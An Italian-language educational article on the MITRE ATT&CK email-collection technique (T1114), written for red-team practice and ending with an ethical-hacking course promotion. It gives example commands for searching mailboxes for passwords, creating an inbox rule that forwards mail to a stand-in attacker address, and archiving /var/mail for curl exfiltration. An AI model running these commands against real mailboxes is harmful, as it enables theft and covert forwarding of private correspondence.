Raccolta Email: Email Collection (T1114)
La tecnica T1114 (Email Collection) descrive l'insieme di attività con cui un attaccante estrae messaggi di posta elettronica da server o client per ottenere informazioni sensibili. Le caselle di posta rappresentano un archivio ad alta densità informativa: contengono segreti industriali, credenziali riutilizzate, allegati riservati, comunicazioni legali e — aspetto spesso sottovalutato — dettagli sulle attività di incident response in corso, che permettono all'avversario di adattare TTP e mantenere persistenza mentre il blue team crede di stare risolvendo l'incidente.
Dal punto di vista dottrinale, la tecnica appartiene alla tattica TA0009 (Collection), la fase in cui l'attaccante aggrega dati di interesse prima dell'esfiltrazione. Nel Cyber Kill Chain di Lockheed Martin si colloca tipicamente tra Actions on Objectives e le fasi finali di Exfiltration, ma può manifestarsi anche molto presto quando l'obiettivo primario dell'operazione è proprio lo spionaggio delle comunicazioni.
MITRE ATT&CK documenta 4 gruppi APT, 2 famiglie malware e 4 mitigazioni associate. La superficie di attacco è ampia: mailbox on-premise su Exchange, tenant Microsoft 365, Google Workspace, file locali .pst/.ost, directory ~/Maildir su Linux e database SQLite di Mail.app su macOS. La popolarità della tecnica tra gruppi come Magic Hound, Silent Librarian e Scattered Spider conferma che l'email resta uno degli asset più remunerativi per operazioni di spionaggio e crimine finanziario.
In un ingaggio red team la raccolta email va simulata rispettando lo scope contrattuale, evitando l'esfiltrazione reale di corrispondenza personale. Le catene d'attacco più realistiche partono dalla compromissione di credenziali (phishing, password spraying, token replay) seguite dall'accesso programmatico alla mailbox.
Su ambienti Microsoft 365 il tool di riferimento è ROADtools (open source), che permette di enumerare tenant Entra ID e sessioni. Per l'interazione diretta con Exchange Online si usa MailSniper (open source) di Beau Bullock: il modulo Invoke-SelfSearch consente a un utente autenticato di cercare parole chiave nella propria mailbox, simulando quello che farebbe un attaccante dopo il furto credenziali. La sintassi tipica è Invoke-SelfSearch -Mailbox utente@dominio.tld -Terms "password,confidential,incident". Il modulo Invoke-GlobalMailSearch estende la ricerca a tutte le caselle se si possiedono privilegi di ApplicationImpersonation.
Per scenari con accesso amministrativo si può ricorrere a PowerShell Exchange Online Management (gratuito, modulo Microsoft): New-InboxRule -Mailbox target -Name "Sync" -ForwardTo attacker@evil.tld crea una regola di auto-forwarding, tecnica storicamente usata da APT per esfiltrazione persistente. In lab, la regola va sempre rimossa con Remove-InboxRule al termine del test.
Su endpoint Windows con Outlook installato, i file .pst e .ost si trovano in %LOCALAPPDATA%\Microsoft\Outlook. Tool come libpst (open source) contengono l'utility readpst per convertirli in formato mbox e analizzarli offline. Il semplice comando readpst -o /tmp/output archivio.pst rende il contenuto navigabile.
Su Linux i mail server come Postfix conservano i messaggi in /var/mail/$USER o in directory Maildir dell'utente; una simulazione realistica prevede l'uso di tar czf mail.tgz /var/mail/ seguito da esfiltrazione via curl verso un listener HTTP controllato dal team.
Su macOS Mail.app archivia i messaggi come file .emlx in ~/Library/Mail/V/* e mantiene indici SQLite in Envelope Index. L'accesso richiede permessi Full Disk Access, ottenibili solo con TCC bypass o consenso utente — un aspetto da documentare nel report finale.
Per catene più sofisticate, Impacket (open source) include exchanger.py per interrogare Exchange via EWS, utile in scenari post-exploitation on-premise. Ogni azione va tracciata in un log operativo con timestamp per correlazione successiva con i log del blue team.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.